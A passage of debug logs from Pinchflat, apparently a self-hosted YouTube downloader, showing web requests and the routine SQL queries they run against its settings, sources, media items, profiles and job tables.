s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.071 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.073 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.074 [debug] QUERY OK source="tasks" db=0.1ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:34:53.074 [debug] QUERY OK source="media_items" db=0.3ms idle=4.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:34:53.075 [debug] QUERY OK source="media_items" db=0.3ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:34:53.075 [debug] QUERY OK source="sources" db=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:34:53.078 [debug] QUERY OK source="media_items" db=1.3ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:34:53.080 [debug] QUERY OK source="media_items" db=1.5ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:34:53.080 [debug] QUERY OK source="sources" db=0.1ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:53.082 [info] Sent 200 in 19ms 05:34:53.752 [info] GET /sources 05:34:53.752 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 05:34:53.753 [debug] QUERY OK source="settings" db=0.2ms idle=677.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.754 [debug] QUERY OK source="settings" db=0.2ms idle=675.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.754 [debug] QUERY OK source="settings" db=0.1ms idle=674.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.755 [debug] QUERY OK source="settings" db=0.1ms idle=674.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.755 [debug] QUERY OK source="settings" db=0.1ms idle=339.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.758 [debug] QUERY OK source="sources" db=2.7ms idle=2.5ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 05:34:53.762 [debug] QUERY OK source="sources" db=2.8ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 05:34:53.763 [info] Sent 200 in 11ms 05:34:53.985 [info] GET /media_profiles 05:34:53.986 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 05:34:53.987 [debug] QUERY OK source="media_profiles" db=0.5ms idle=232.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 05:34:53.988 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=232.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.989 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=233.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.990 [debug] QUERY OK source="settings" db=0.1ms idle=231.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:53.991 [info] Sent 200 in 5ms 05:34:55.181 [info] GET /settings 05:34:55.182 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 05:34:55.183 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1195.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:55.184 [debug] QUERY OK source="settings" db=0.3ms idle=1195.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:55.185 [debug] QUERY OK source="settings" db=0.3ms idle=1195.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:55.186 [debug] QUERY OK source="settings" db=0.6ms idle=1195.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:55.188 [info] Sent 200 in 7ms 05:34:55.704 [info] GET /app_info 05:34:55.704 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 05:34:55.704 [debug] QUERY OK source="settings" db=0.1ms idle=521.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:55.705 [debug] QUERY OK source="settings" db=0.1ms idle=520.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:55.705 [debug] QUERY OK source="settings" db=0.1ms idle=520.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:55.706 [debug] QUERY OK source="settings" db=0.1ms idle=518.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:55.706 [debug] QUERY OK source="settings" db=0.1ms idle=284.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:55.706 [info] Sent 200 in 2ms 05:34:56.282 [info] GET /sources/31/media/141520 05:34:56.282 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 05:34:56.284 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=578.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 05:34:56.285 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=579.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 05:34:56.286 [debug] QUERY OK source="sources" db=0.7ms idle=579.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:56.286 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=580.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 05:34:56.286 [debug] QUERY OK source="settings" db=0.0ms idle=580.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:56.287 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:56.287 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:56.288 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:34:56.289 [info] Sent 200 in 7ms 05:34:57.151 [info] GET /sources/31 05:34:57.152 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 05:34:57.153 [debug] QUERY OK source="sources" db=0.4ms idle=866.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:57.154 [debug] QUERY OK source="media_profiles" db=0.7ms idle=867.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:34:57.156 [debug] QUERY OK source="tasks" db=0.6ms idle=867.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 05:34:57.157 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=868.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 05:34:57.157 [debug] QUERY OK source="settings" db=0.1ms idle=734.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:57.157 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:57.158 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:57.159 [debug] QUERY OK source="sources" db=0.0ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:57.160 [debug] QUERY OK source="media_items" db=0.6ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN 